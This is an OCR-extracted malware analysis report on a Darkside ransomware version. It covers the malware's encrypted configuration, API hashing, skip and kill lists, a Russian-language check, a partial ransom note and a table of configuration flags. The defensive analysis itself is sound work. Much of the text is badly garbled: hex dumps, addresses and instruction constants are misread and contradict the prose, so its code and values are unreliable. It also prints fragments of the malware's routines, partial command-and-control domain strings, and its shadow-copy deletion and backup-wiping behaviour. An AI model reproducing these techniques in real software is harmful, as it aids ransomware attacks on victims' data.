A step-by-step analysis of a new version of Darkside
Ransomware (v. 2.1.2.3)

cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/

Summary

Darkside ransomware is the malware family responsible for the Colonial Pipeline attack on
May 7 2021 as described at https://www.zdnet.com/article/darkside-the-ransomware-group-
responsible-for-colonial-pipeline-cyberattack-explained/. The binary contains an encrypted
configuration that will be decrypted using a custom algorithm, which reveals a 22-byte buffer
that describes different actions performed by the malware. These actions include: checking
the system language and avoiding to encrypt Russian language machines, deleting Shadow
copies, wiping Recycle Bin, ignore specific files, directories and file extensions, killing
specific processes, deleting specific services, etc. The ransomware can perform privilege
escalation using the CMSTPLUA COM interface and achieves persistence by installing itself
as a service. The files are encrypted using the custom Salsa20 implementation, with the
Salsa20 matrix being encrypted by the public RSA key hard-coded in the binary. Darkside
uses multithreading with 1/0 completion ports to communicate between the main thread and
the worker threads responsible for file encryptions. It's important to mention that the process
generates a random Salsa20 matrix using the RDRAND and RDSEED instructions, as
opposed to earlier versions that use the RtIRandomEx function.

Analyst: @GeeksCyber
Technical analysis

SHA256:
OAO0C225FOES5EE941A79F2B7701F1285E4975A2859EB4D025D96D9E366E81ABB9

The malware comes with an encrypted configuration that is decrypted using a custom
algorithm:
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Address

Hex

ASCII

00421000
00421010
00421020
00421030
00421040
00421050
00421060
00421070
00421080
00421090
0042 10A0
004210B0
004210C0
00421000
004210ED
004210F0
00421100
00421110
00421120

The custom decryption algorithm consists of 4 subtraction operations by 0x10101010 each
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time and then some addition operations, as shown below:

Figure 1
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Ltextl: eadaBesc
Ltextl: ea48B85E
Ltextl:eddaBacl

monS
mons
mons

edx, [eax]
ebx, [eax+4]
edi, [eax+&]

textl: 88488864 mov eax, [eax+aCh]
Lol s =]
Ltextl:epdBBR67
Ltextl:8840E067 loc_ 4REBERT:
Ltextl: 88406867 mov [esit+ecx+@8Ch], edx
.textl: 88488868 mov [esitecx+B], eax
.textl:@848B86F mov [esitecx+4], ebx
Ltextl: 86488873 mov [esitecx], edi
.textl: 88486676 sub edx, 18181818h
Ltextl:8848B87C sub eax, 18181816h
Ltextl:aede8B881 sub ebx, 18181818h
Ltextl:8848E887 sub edi, 181818leh
Ltextl:esde8B85D sub ecx, 18h
.textl:@e486898 jns short loc_4BB857
J
s
Jfextl: 88488092 xor edx, edx
Tdextl:eed48Be94 xor ecx, ecx
textl: 88488896 mov esi, [ebptarg_ 4]
Ltextl: 88488899 xor ebx, ebx
Ltewtl:8848B898 mov edi, [ebptarg_8]
[
‘ vy
=
Ltextl:ee48889E
Ltextl:8848609E loc_48BBYE:
Ltextl:@048B09E mov al, byte 4l@856[ecx]
Ltextl:ead48B044 add dl, [esitebx]
.textl:@848B8A7 add dl, al
Ltextl:B848B8A9 mov ah, byte_418858[edx]
Ltextl:8e48B84F inc ebx
.textl:08406868 mov byte_4l@e8s58[edx], al
.textl:88486866 mov byte_4leese[ecx], ah
Ltextl:8848686C cmp ebx, edi
.textl:8848B0BE jnb short loc_ 4@BRCE

For each DLL to be loaded, there is a hash function that is applied to the DLL name, and the

4-byte result is compared to hardcoded values:

Figure 2
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Jewteadalee
Ltext:ea481828 loc_481028:
Jext 08481028 mov
Ltext: 88481625 cmp

edi, 15B8h
ecx, edi
short loc_4@8162B

Ltext:08481827 jnb

i L |
il sl =]
Jtext 180481029 mov edi,

ecx
[l ) (=
Ldext 08481628
Ltext:884816828 loc 4@8182B:
Ltext:88481828 sub ecx, edi

il s 5

Ltext:eedeleD
Ltext:ee481620 loc_48102D:

Jfext: 084810830 add eax, edx
Jtext: 88481832 inc esi
Ltext: 08481633 add ebx, eax
Jtext: 88481835 dec edi

.text:88481836 jnz

Ltext:e8481020 movzx  edx, byte ptr [esi]

short loc_48182D

il s

fext: 88481838 mov edi,
Ltext: 88481830 xor edx,
Ltext:0040103F div edi
Ltext:ea4e184l push edx
text: 88461842 mov 2aX,
Ltext: 868481844 xor edx,
Ltext: 084081846 div edi
Ltext: 88481048 mov ehx,
Sgext:ee481848 pop eax
Tdext:eadeledB test ecx,

BFFF1lh
edx

ehx

edx

edx

ECX

Figure 3

For example, the following value corresponds to kernel32.dll:

FF 77 04

3B 45 08

E8 AB F7 FF FF

push FFFFFFFF

push ecx

push dword ptr ds:[edi+4]
€all darkside. 401000

cmp eax,dword ptr ss:[ebp+3]
jne dgrkgide:4013c1

= e g e

[edi-

2ax=3B98045E
dword ptr [ebp+8]=[0019FF50]=3R98045E

L Text: 00401854 darkside.exe:$1854 #C5A

Figure 4
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The following DLLs are expected to be loaded: ntdll, kernel32, advapi32, user32, gdi32,
ole32, oleaut32, shell32, shlwapi, wininet, netapi32, wtsapi32, activeds, userenv, mpr,
rstrtmgr. The process retrieves the address of multiple export functions based on similar

hash values computed using the same algorithm:

gext:884818F4 call
JSgext:884818F9 lea
Ltext:884813FC push
text:8a84818FD call
Ldext: 884819683 mov
Ltext:8684819686 cmp
Ltext: 0481908 jz

sub_4BBAE8E

eax, [ebpt+var_438]
eax

LoadLibraryA
[ebptvar_4], eax
[ebptvar_4], @
short loc_48193F

Yy

Ll e 55

Lgext 88481960
Ltext:8840198C loc_ 48198C:
Jtext:98481968C lodsd

TJdextieed4a19aD test

eax, eax

short loc_ 481913

text:0848198F jnz

il s =

LStext:e8e8481913
Ltext:ee481913
Ltext:8e481913
Ltext:8e481915
Ltext:ee481917
Ltext:ea48191A
Ltext:ee48191C
LSgext:oe848191E
LSgext:8848191F
Lgext:ae481922
Ltext:ee481923
Lext:ead4alozs
Ltext:ee481926
Ltext:ea4al92C
Ltext:ee48192F
Ltext:e8e8481935
Ltext:e8e481937

loc_481913:

Mo ecx, eax

xchg edx, edi

lea edi, [ebp+var_48]
rep movsb

xchg edx, edi

push eax

lea eax, [ebptvar_ 48]
push eax

call sub_46B800

lea eax, [ebp+var_48]
push eax

push [ebpt+var_4]
call GetProcAddress

test eax, eax

j=z short loc 481934

.fext

188481939 stosd

i

i [+

xt: 88481911 jmp

short loc_48193F

Figure 5

Lol s 5

Ltext:8a481934

Ltext: 88481934 loc_48193A:
Ltext:884819348 dec
Tdexti88481938 test
Ltext:e8481930 jnz

ebx
ebhx, ebx
short loc_4@19@C
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The decrypted configuration is presented below and is composed of the RSA-1024 exponent
(0x010001 = 65537), 0x80-byte RSA-1024 modulus, victim UID, 22 configurations bytes (will
be detailed further on) and the aPLib-compressed configuration:
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0D26EG718
D26EGT 28
026EGF 38
026EGT 48
026EGFS 8
026EGT 6B
026EGF 7B
0ZB6EGT 85
0D26EGT 28
D26EGFAS
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Figure 6

The blnary uses an aPLib- decompressmn algorlthm to decrypt different strings. The following
list represents the directories to avoid in the encryption process:
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The following files will be ignored by the ransomware:

Address | Hex ASCII |
DZGEBOSD | BL 00 75 00|74 OO0 &F 00|72 00 75 OO0|6GE OO0 2E OO0|@.U.T.0.F.L.M...
D2GEBOGD| 69 00 6E 00|66 00 OD 00|62 0D 6F 0O|6F 00 74 oO|i.n.f...b.o.0.T.
026EBOTD| 2E 00 69 00|GE 00 &9 00|00 0D 62 O0|6F OO0 &F OO|..i.n.i...b0.0.0.
DZGEBOS80D| 74 00 66 00|&F 00 &E 00|74 00 2E 00|62 00 &9 oOO|t.f.o.n.t...b.1i.
D2EGEB090 | 6E 00 OO0 00|62 00 &F DO|GF 0O 74 00|73 OO0 &5 0O|n...b.o.0.t.s5.8.
D26EBOAD| 63 00 74 00|2E 00 62 00|61 0O 6B 00|00 00 &4 OO|c.t...b.a.k...d.
D2GEBOBO| 65 00 72 00|GE 00 74 OO|GF 0D 70 0OO|2E 00 &9 0O|e.s.K.t.0.p...1.
026EBOCO| 6E OO0 6% 00|00 00 69 00|63 0D 6F 0OO|6E 00 63 0O|n.i...i.c.o0.n.c. _.
02ZGEBODO | 61 00 63 00|68 DO 65 DO|2E 0D &4 00|62 00 0D 0DO|a.c.h.e...d.b... Figure 8
O2GEBOED| GE 0D 74 00|6C 00 &4 00|72 0D 00 0OO|GE OO 74 OO|n.t.1.d.r...n.t.
D26EBOFD| 75 00 73 00|65 00 72 OO|2E 00 64 00|61 OO0 74 OO0|u.s.e.r...d.a.t.
D0ZGEB100| 00 00 GE 00|74 00 75 00|73 00 65 00|72 00 2E OO0|..n.t.u.s.e.r...
026EB110| 64 00 &1 00|74 00 2E 0OO|6C OO0 &F 0O|67 OO 00 OO|d.a.t...l.o.g...
026EB120| 6E 0O 74 00|75 00 73 00|65 0O 72 00|2E 00 &9 OO|n.t.u.s.e.r...1.
D2GEB120| 6E 00 69 00|00 00 74 0O|(68 0D 75 0O|6D 00 62 OO|n.i...t.h.u.m.b.
0ZGEB140| 73 00 2E 00|64 00 &2 0O|(0D 00 0O 0OO|0DO OO AB AB|s...d.B....... w2
D2GEB150| AB AB AB AE|AB AB 00 00|00 00 00 00|00 00 00 00| €e6@as. . vvunwnn.
DZGEB160|54 34 57 3C|17 3C 00 oolco oo 60 02148 3B 6E 02| T4w<.<..A.m.H:n.

If the file’s extension belongs to the following list, then the file will not be encrypted by the
process:

H
s SFOTAALDN =0T =M

s S S = =TI Chp A

Address | Hex

0Z26EB168 |33 00 38 00|36 0D 00 00|61 OO0 64 00|F7& OO0 OO0 OO
026EB178| 61 00 &E 00|69 0D 00 00|62 00 &1 00|74 00D OO0 OO0
0Z26EB188| 62 00 &2 00|6E OO OO0 00|63 00 &1 00|62 00 00 OO0
0Z26EB198| 63 00 6D 00|64 0D OO0 00|63 00 &F 00|60 OO OO OO0
026EB1A8 |63 00O 7O 0O|&C 0D OO0 0OOD|&3 OO 75 00|72 00D OO0 OO0
0Z26EB1B8 | 64 00 &5 00|73 0D 6B 00|74 00 &8 00|65 00D 6D OO0
026EBICS8 |65 00 7O 00|61 OO &3 0O0|6B OO0 OO O0O|&64 0D &9 0O
02GEB1DS| 61 00 &7 00|63 00 &1 OO(62 OO OO 00|64 OO0 &9 OO0
0Z6EBLES | 61 00 &7 00|63 0D &6 00|67 00 OO OO|&64 0D &9 OO0
026EBL1F8| 61 00 &7 00|70 0D &B 00|67 00 OO 00|64 0D &C 0O
0Z26EBZ08 | 6C 00 OO OO|64 00 72 00|76 OO0 OO OO|&65 OO 78 OO0
026EBZ218| 65 00 OO 00|68 0D &C 00|70 0O OO 0OO|69 0D &3 0O
026EB228 | 6C 00 OO 00|69 0D &3 0OO|6GE OO 73 00|00 OO &9 0O
0Z26EBZ238| 63 00 &F 00|00 OO &2 00|63 00 73 00|00 OO &2 OO0
026EB248| 64 00 78 00|00 0D &C 00|64 00 &6 00|00 OO &C 0O
02GEB258| 6E 00 GB 00|00 OO0 &D OO|&F 00 &4 00|00 OO0 &D OO0
0Z26EBZ68| 70 00 &1 00|00 0D 6D 00|73 00 &3 00|00 OO 6D OO
026EB278 |73 00 70O 00|00 OD 6O 00|73 00 73 00|74 00D 79 0O
0Z26EBZ288|6C 00 &5 00|73 00 00 OO)6D OO 73 00|75 OO0 OO0 OO
026EBZ298 | 6E 00 &C 00|73 0D 00 0OO)6E 0O &F 00|6D 00D &5 00
026EB2A8| 64 00 69 00|61 0D OO0 0OO)|6&F 0O &3 00|78 00D 00 0O
0Z26EBZB8 | 70 00 72 00|66 OO0 OO0 OO FO OO 73 00|31 OO0 OO OO
026EB2C8 |72 00 &F 00 |6D OO OO0 0OO)|F2 00 74 00|70 OO OO OO
02GEB2DS| 73 00 &3 00|72 00 OO0 OO(73 00 &8 OO(73 0O OO0 OO0
0Z6EBZES |73 00 7O 0D|6eC OO0 OO0 OO|F3 00O 75 00|73 00D OO OO
026EB2F8| 74 00 &8 00|65 0D &0 00|65 00 OO 00|74 0D &8 00
026EB308| 65 00 6D 00|65 OO0 7O 0OO0)61l OO0 &3 00|&6B OO0 OO0 OO
026EB318 |77 00 7O 00|78 0D 00 OO)&C OO &F 00|63 0D 6B 0O
026EB328 |00 00O 6B 00|65 0D 79 00|00 0O &8 00|74 0D &1 OO0 .h.
0Z26EB338| 00 00 6D 00|73 0D &2 00|00 OO FO 0O|&64 0D &2 00 ..m ...D.

The binary intends to delete folders that contain the word backup in their name:

s OO T[WAaAEE -3 m

R —'-fﬂﬂ.ﬂ.ﬂ.ﬂ.rﬂ_‘gﬂ'l‘f{

LI o = = I - T T = B

. |Figure 9
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Address | Hex ASCII
026E2000 |62 00 61 00|63 00 6B OO|75 00 70O 00|00 00 OO OO|B.a.c.k.u.p.....

A feature not used by the malware would use the following strings decompressed as the
other ones (our guess is that the actor would try to kill the SQL-related processes in order to
encrypt databases):

Figure 10

| address | Hex | ascIz |
D26GE4EBS |73 00 71 O0|6C 0D 0D DO|73 0D 71 OD|6C 0O &9 00|S.q9.1...s.9.1.1. |Figure 11
D2GE4ECS|74 D0 65 00|00 00 00D 00|00 0D AB AB|AB AB AB AB|T.8.......seaaes

The following processes will not be terminated by the file:
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Address

Hex

ASCII

0D26EBLLE
0D2G6EES 68
DZGEBSTE
02G6EBSEBE
026EBS 25
02G6EBSAB
02G6EBSES
DZ6EBSCSE
0D2G6EBSDSE

Address

f&| 00
&5 00
6D 00
6D 00
73 00
65 00
56 00
78 00
72 00

Hex

&D
2E
73
77
7e
78
82
85
65

0o
00
00
00
00
00
00
00
00

63
65
2E
70
63
65
G5
00
72

00
00
00
00
00
00
00
00
00

&F
75
65
2E
635
00
77
65
2E

00
00
00
o0
o0
o0
oo
oo
oo

&D
85
78
G5
&F
t4
G5
78
&5

oo
00
00
oo
00
0o
oo
00
oo

70
00
65
78
73
65
72
70
78

0o
00
00
00
00
00
00
00
00

75
e
00
G5
74
61
2E
6C
=1

00
00
00
00
00
00
o0
00
00

74
&D
76
o0
2E
&D
65
6F
oo

o0
00
00
o0
o0
o0
oo
o0
o0

If a process name contains any of the following strings, it

E.m.c.o.m.p.u.t.
B e e e
m.5...8.X.EB...V.
m.wW.p...e.X.8...
U] e P e
.e...T.e.a.m.
e.w.e.r...e.
S o] e R
e

e killed by t

O =

will

ASCII

Figure 12

he binary:

02G6EBG0OE
026EBG1E
026EBG2E
0Z2G6EBG3E
DZGEBG45
0D2G6EBGLE
DZGEEGGE
0DZ6EEGTE
02G6EBGEBE
0D26EBG2E
02G6EBGASB
02GEBGES
0DZ6EBBCSE
02G6EBGDE
0DZG6EEBGES
0DZ6EEGFE
026EBT 0S8
0D26EBF1S
026EB7 28
02G6EBT7 38
DZGEBT 458
0D26EBT7LE
DZ26EET 68
0Z6EBFF B
026EBTEBE
0D26EBF 28
02G6EBTAB
0Z2GEBTES
0DZ6EBFCSE
026EBTDE
D2Z6EBFES
0Z6EEFFS
026EBBOSB
026EBB1S

There is also a list of services to be stopped and deleted,

Z3] 00
&6C 00
o0 00
73 00
00 00
00 00
73 00
73 00
79 00
73 00
&6F 00
64 00
63 00
78 00
&F 00
&4 00
&6F 00
o0 00
o0 00
73 00
65 00
66 00
73 00
6D 00
65 00
74 00
77 00
74 00
62 00
&4 00
7& 00
GE 00
72 00
74 00

71
85

&4
79
Bl
89
73
76
G4
a5

63
73
0o
00
6E
&5

73
64
73
65

78
&F
el
73
GE
6C
65

&5

Bl
&5

a9
77
G4
85

00
00
00
00
00
00
00
00
00
00
00
00
00
0o
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

&C
00
62
GE
&7
73
7e
63
=1
r2
61
oo
66
74
66
73
o0
62
71
72
63
70
63
70
&F
6F
72
61
74
72
73
GF
70
Pt

00
00
00
oo
00
00
00
00
00
00
00
o0
00
00
00
00
00
00
00
o0
00
00
00
00
00
00
00
o0
00
00
00
00
00
00

o0
6F
73
63
6E
71
63
63
73
76
75
&5
69
62
&2
GEB
&F
65
62
76
65
61
63
75
74
6F
70
&D
00
62
&9
72
61
61

oo
00
o0
oo
o0
o0
00
00
o0
00
00
oo
00
oo
00
00
o0
00
o0
oo
o0
o0
00
00
o0
00
00
oo
00
o0
00
00
oo
00

&F
63
GE
74
74
&
00
&F
GB
69
74
GE
72
69
&7
74
63
GE
63
69
6L
74
85
62
G5
6B
GE
00
74
69
&F
G4
G4
64

o0
00
0o
oo
00
oo
00
00
oo
00
00
oo
o0
oo
00
oo
oo
00
o0
oo
o0
oo
00
00
o0
00
00
oo
o0
oo
00
o0
o0
00

72
73
&D
69
73
70
78
BE
74
63
&F
63
85
72
00
BF
&F
67
&F
63
00
G638
73
00
00
00
74
74
65
72
00
00
00
00

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

61
73
70
&D
76
6C
66
00
GF
65
75
73
66
&4
&D
70
&D
35
72
G5
69
0o
73
GF
&F
70
0o
&5
75
&4
r7
77
GE
00

00
00
00
oo
o0
00
00
00
00
00
00
oo
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
o0
00
00
00
00
00
00

63
64
00
&5
63
75
73
6D
70
00
70
76
6F
63
79
71
&D
30
65
o0
6E
6D
00
GE
75
6F
73
&5
6E
00
L]
&6F
&F
o0

oo
00
00
oo
00
o0
00
00
o0
00
00
oo
00
oo
00
00
o0
00
00
oo
00
o0
00
00
o0
00
o0
oo
00
00
00
00
oo
00
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as shown in the

. |[Figure 13

figure below:

Address

Hex

I
A
H
H

0Z6EEE40
026EBBLO
0Z6EBS60
026EBEBTOD
0Z26EBEE0
0Z6EEE20
0Z26EBBAD
026EBBBO
026EBBCO
026EBEBDO

f&| 00
73 00
74 00
63 00
73 00
62 00
78 00
6C 00
00 00
78 00

|Address IHex

73
76
61
73
00
61
56
72
47
43

00
oo
o0
00
oo
oo
oo
o0
00
oo

73
63
73
oo
7e
63
73
00
78
43

00
o0
00
00
00
00
00
00
00
o0

o0
24
00
73
65
GE
73
47
43
40

00
0o
00
0o
00
00
oo
00
0o
0o

73
00
6D
&F
65
75
00
78
56
67

00
o0
00
oo
00
00
oo
00
00
o0

71
&D
55
70
61
70
47
46
44
72

00
oo
o0
00
oo
oo
oo
00
00
oo

6C
G5
70
=12
&D
00

00
o0
00
00
00
00

o0
&D
6F
&F
00
47

0o
0o
00
0o
00
00

L300 32 00
57 00 44 00

o0 00 47 00
oo 00 00 00

The list of C2 servers is also obtained using the same algorithm:
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Figure 14

=
e
hx-mn{-mnm
Zhon A D, e
E:ﬂx: 2 et
;'011m1:§1:m535

| ascIT

026E4C0O0
0Z6E4C10| 65 00
026E4C20| 72 00
0Z6E4C30| 2E 00

62| 00

61
65
75
63

00
00
00
00

00
00
0o
00

&F
2E
61
&b

oo
00
o0
00

71
63
&8
00

o0
00
00
00

75
6F
73
00

00
00
00
00

&5
6D
69
00

00
00
0o
00

74 00|@.a.r.o.q.u.e.t.
00 00| e.e.5...C.0-M. ..
61 00| r.u.m.a.h.5.17.4a.

AE AB

e D DM owwes EE

Figure 15

The process reveals a message that will be utilized to set a custom wallpaper that contains
important instructions for the victim:
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Address

The content of the ransom

Hex

Address | Hex ASCII

026EB200|5F 00 &5 00|6C 00 &3 O0|6F 00 6D 00|65 OO0 20 OO|(W.e.l.c.o. [ZEi 2
026EB210| 74 00 &F 00|20 00 44 00|61 OO 72 0OO|GEB OO 53 OO|(t.0. .D.a.r.k.5s.
026EB920| 69 00 64 00|65 00 21 00|20 00 OD OO|0A OO 20 OO|i.d.e.!. ..... :
026EBS30| 20 00 OD 00O |0A OD 20 00|41 00 &C 00D |6C OO 20 00 ..... s
026EB240 |59 00 6F 00|75 00 72 00|20 00 46 00|69 00 6C OQO|Y.0.U.r. .F.i.1.
0Z26EB950| 65 00 73 00 72 00 BS QO|20 0O 45 0OO|(e.5. .A.F.e. .E
02GEB960| 6E 00 &2 00|72 OO0 75 00|70 OO0 74 OO|65 OO0 64 OD|n.c.r.y.p.t.e.d.
026EBS70O| 21 00 20 0O|0OD OO OA OD|20 OO0 20 0O(OD OD O& OO !'. ..au. ElE, s
026EB980 | 20 00 46 00|69 0D &E 00|64 00 20 00|25 0O 73 0O CEdamad. oL
026EB290 | 20 00 41 0Q|&6E 00 &4 00|20 00 46 00|6F 00 &C OO Aumad. SFimld.
026EB9ACQ| 6C 00 6F 00|77 00 20 00|49 00 6E 00|73 00 74 00|1.0.w. .I.n.s.T.
02GEB9BO| 72 00 75 00|63 00 74 00|69 00 6F OO|GE OO0 72 OO|(Fr.uU.C.T.7i.0.RN.5.
026EBSCO| 21 00 OO 00|00 00 00 0D AE ABE AB AEB|AB AB AB AB|!...uau B

- |Figure 16

note is also written in the process memory, as shown in figure 17:

026EB2ED
0DZ6EBIFD
026EBADD
0D26EBALD
DZGEEAZD
0Z26EBAZD
0D26EBA4D
02GEBALD
02G6EBAGD
0ZGEBATD
026EBABD
D2GEBADD
0ZGEEAAD
0Z26EBABD
D26EBACD
02GEBADD
026EBAED
DZGEBAFD
026EBBOD
026EEELD
0ZGEEEBZD
026EBBE3D
DZ2GEBB40D
02G6EBBL D
0Z2G6EBBGD
0DZGEBBF D
026EBBBD

2D
BC
&5
2D
61
2D
2D
2D
72

2D
63
20
3E
70
2D
2D
2D
20

2D
BF
5D
20
70
2D
2D
2D
63

2D
(0]
20
oo
&5
2D
2D
2D
&F

2D
65
2D
0A
GE
2D
20
2D

2D
20
2D
20
&4
2D
2D
2D

79
T
73
74
20
&5
2E
20
89
&7
72
69
72
77
20
0A
74

70 T4
65 20
65 20
69 &F
73 BF
63 72
20 0D
72 65
G6E &7
20 6l
61 &D
76 65
ZE 20
69 6C
79 6F
20 46
72 75

(=]
&4
73
GE
20
79
04
73
20
20
20
72
54
6C
75
&F
63

74
20
79
70

74

73
=15
73
65
20
72
6C
74

70
72
61
69
72
20
6C
89

2D
74
2D
20
3F
2D
2D
2D

65
&F
&
r3
&5
GE
6F
&F

2D
6F
2D
oD
20
2D
2D
2D

-

65 72 73 20
64 2C 20 62

72 6F BE
61 6C &7
&6F 75 20
74 20 79

6F 72 B5
62 79 20 70

63
6D
20
20
73
G5
Fra

GE

2D
20
2D
0A
oo
2D
2D
2D
G5
61
61
85
67

2D
44
2D
20
OA
2D
2D
20
72
72
63
64
20

2D
Bl
2D
57
20
2D
2D
oD
73
B85
&B
2E
65

20
72
2D
&5
2D
2D
2D
04
20
20
75
20
GE

S 7o 3 7

63
&F
20
20
75
82
20
G4
70
74
74
20
73

61
75
79
65
72
61
75
&5
72
&F
7
6F
20

BE
72
&F
76
63
el
73
63
6F
72
&F
75
62

&E
20
75
65
&3
20
20
72
67
&5
72
72
(=]

5B
6B
2D
61
2D
2D
20
20
61
65
70
63
=1z
6F
&4
20
72
61
70
2D
79
72
20
GB
20
6

20
53
2D
74
2D
2D
2D
59
GE
6E
73

72
&D
74
61
63
79
73
72
20
70
6l
6l
2E
[
&F

57
69
2D
20
2D
2D
2D
&F
G4
63
20

79
73
20
74
61
74
&9
&F
75
74
&D
6
20
6E

77

65
54
2D
&5
2D
2D
2D
75
20
72
61

70
2C
64
61
GE
65
GE
&7
GE
GF
20
6C
oD
73
20

[ we
Tcome to Darksid
g ] ———---—————-

YOou
r computers and
Servers are encr
vpted, backups a
re deleted. we u
se strong encryp
tion algorithms,
50 you cannot d
ecrypt vour data
BUt you can
restore everyth
ing by purchasin
g a special prog
ram from us - un
iversal decrypto
r. This program
will restore all
your network.
Follow our ins
tructions below

R e

Figure 17

The following table describes the actions that the malware takes depending on the
configuration decrypted above:

Offset Enabled Description

0x00 Yes FAST encryption mode

0x01  Yes Unknown (not used)

0x02 No Attempt to log on as a user on the machine

0x03 Yes Encrypt DRIVE_REMOVABLE, DRIVE_FIXED and DRIVE_REMOTE
type of drives

0x04 Yes Retrieve the domain controllers and probably an attempt to spread
further

0x05 Yes Check system language and avoid the Russian language

0x06 Yes Delete volume shadow copies

0x07  Yes Delete files and folders from Recycle Bin
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0x08 No Self deletion

0x09 Yes Ignore specific directories

Ox0a Yes Ignore specific files

OxOb  Yes Ignore specific file extensions

0xOc  Yes Wipe “backup” directories

0x0d Yes Unknown (not used)

0xOe Yes Kill specific processes

OxOf  Yes Stop and delete specific services
0x10  Yes Set Desktop wallpaper

0x11  Yes Drop ransom note

0x12  Yes Change icon of new encrypted files
0x13  Yes Create a mutex

0x14  Yes Unknown (not used)

0x15 Yes Communication with the C2 servers

The malware uses the NtQuerylnstallUILanguage and NtQueryDefaultUILanguage APIs to
determine the language of the system and compares the result with 0x419 (Russian
language identifier). If there is a match between these two values, then the malware exits:
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i

text:eada3811
text:ea483811
.text:00462011 ; Attributes: bp-based frame
LSfext:eed483811
.text:08483811 sub_ 483811 proc near
Ltext:ee483811
.text:88483011 Languageld= word ptr -8
Ltext:eeds3811
Ltext:88483011 push ebp
Ltext: 08403012 mov ebp, esp
.text:98483014 add esp, @FFFFFFF8h
Ltext: 88483817 push ebx
Ltext:ee483818 push ecx
.text:88483019 push edx
Ltext:e84830148 push esi
.text:884830168 push edi
text:ee48301C lea eax, [ebpt+Languageld]
text:e848381F push eax ; LanguageId
text:e0483028 call MtQueryInstallUILanguage
Ltext: 884830826 mov esi, dword ptr [ebptlanguageld]
Ltext: 08483829 lea eax, [ebptLanguageld]
Ltext:8848302C push eax 3 LanguageId
.text:88483020 call MtQueryDefaultUILanguage
Ltext:ee483833 mov edi, dword ptr [ebp+Languageld]
Jfext 88483036 mov ebx, 1
text: 98483838 shl ebx, 8ah
.text :8848383E xor bl, 1
Ltext:80483841 shl bl, 4
fext: 88483044 wor bl, 9
Ltext: 88483847 cmp bk, si
Ltext:eada3eds jz short loc_483851
bl e =
Ltext:ea48384C cmp bx, di
text:8848384F jnz short loc_483856
Ltext: 00483850
text: 8604036856 loc 4B830856:
Ltext: 88483856 xor bl, 3Bh
.text: 28483859 cmp bx, si
Ltext:eed8305C jz short loc_483863
Y
Figure 18

There is a call to the RegCreateKeyExW function, which is supposed to create (or open if it

already exists) the “Software\Microsoft\Cryptography” registry key, as follows:
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R R L e e
ea eax,dword ptr ss:febp-4)
push eax

Ao/ lagwuru FEee

xB7TW_O 3 (Empty) xB7TW_1 3 (Empty)
XB7TW_2 3 (Empty) x87TW_3 3 (Empty)
XB7TW_4 3 (Empty) xB7TW_5 3 (Empty)
XB7TW_6 3 (Empty) xB7TW_7 3 (Empty)

push o

o X875tatusword 0000

push o XB7SW_B 0 xB7SW.C3 0 xBTSWC2 O
s XB7SW C1 O XB7SW.CO O XB7SW ES O
50000002 XB7SW_SF 0 XB7SW_P 0 NB7SW_U o

OO401ESF
00401E60

A A LR R R RN

AsEEAnEn

Figure 19
The malware extracts the “MachineGuid” value from the above registry key, as presented in
the next figure:

on 37

sh eax
ea eax,dword prr ss:[febp-30f

push eax
lea eax,dword ptr ss:Qebp-sj

D0401E30

o BT e
xB7TW_4 3 (Empty) xB7TW_5 3 (Empty)
85 70 FF FF FF XB7TW_6 3 (Empty) xB7TW_7 3 (Empty)

45 F8

push eax xB7STatuswWord 0000
push 0 XB7SW_B O XB7SW C3 0 xXB7SWC2 O
push edi XB7SW_C1 0 X87SW CO 0O X87SW ES O

sh dword ptr ss:Qebp-4§ XB7SW_SF 0 XB7SW_P 0 X87SW_U o
egQueryvalusExw:

gQueryvalueExw> -
026E4D68 L MachineGuid"
00000000

«TextiDD401EA2 darkside.exe:$1EAZ #12a2

OD1IFEE4

Woump1  PEDump2 WMDump3 W Dump4

Figure 20

O019FEEE (19 00 0D 1F |40 OO0 OE FF|19 00D BD B2 |40 00 BD B2|....E8..¥..%=@,%=

0O019FEFE| 40 00 BD B2 |40 00 BD B2 |40 00 00 30|2D 00 FF FF|&.%=@.¥%=&..0-.%V

O019FFODE H

cn i et , : Figure 21
Q019FFZE

0019FF3E ) ;

QO019FF4E o0 00 BD B2 |40 00 0D 30

A custom hashing algorithm that generates 8 lowercase hexadecimal characters is
implemented by the process (the “MachineGuid” value is the input, and the algorithm applies
8 times):

=

i o[ D64010A1
] : gg:gig:é e EIP  004010A% darkside. 00401049
— ¢ 000002
1 o [ 004010AE 50 push eax 5:"1“5" 1 AF ;5
: o[ no40104F FF 75 OC push dword ptr ss:febp+C OF O SFO DF O
1 o| no401082 FF 75 08 sh dword ptr s=:[febp+ [ebp- oF = 76
' o[ boso108s ES 46 FF FF FF darkside. 401000 2 o 1
' e Do40108A 01 03 add dword ptr ds:[ebx],eax
i o[ no40108C H push eax LastError 00000000 (ERROR_SUCCESS)
T o || 00401080 FF 75 OC push dword ptr ss:febp+C LastStatus 00000000 (STATUS_SUCCESS)
i o D04010CO FF 75 08 sh dword ptr ss:gebp+ [ebp-
] o | no4010C3 EB 38 FF FF FF de. GS 002B FS 0053
! : gg:gi%g 157% 43 02 wshme'::d ptr ds: [ebx+2],eax ES 0028 D5 0028
i CS 00, 00;
: e no4010CC FF 75 OC push dword ptr ss:lehm{ e aa <9
i o[ no4010CF FF 75 08 sh dword ptr s=:febp+ [ebp- 00000000000000000000 0000000
' o | oc402002 Ed 23 FF FF FF Ealn Garsr e’ 451000 XErr: 000ODDOOGARORGGAN000 STI EmpLy 0. 0660000
] o || 0oso1007 01 43 04 add dword ptr ds: [ebx+4],eax Ly 0.
: o[ 00401004 50 push eax ¥E7rZ 00000000000000000000 5T2 Empty 0.0000000(
' o[ 00401008 FF 75 OC push dword prr scs:[febp+c] x87r3 00000000000000000000 ST3 Empty 0O.0000000C
[ o 0o40100E FF 75 08 sh dword ptr ss:febp+ [ebp- XE7r4 00000000000000000000 5T4 EmpTy 0.0000000(
14 # || nosn10EL EB 1A FF FF FF darkside. 401000 x87rs 00000000000000000000 S5T5 Empty O.0000000C
[ ® || 004010E6 01 43 06 dword ptr ds:[ebx+6],eax X87r6 00000000000000000000 5T6 Empty O.00000000
! || 004010E9 50 push eax X87r7 00000000000000000000 ST7 Empty O0.0000000(
H e Do4010EA FF 75 OC push dword ptr ss:lehmc
] o[ nos010ED FF 75 D8 sh dword ptr ss:febp+ [ebp- x87Tagword FFFF
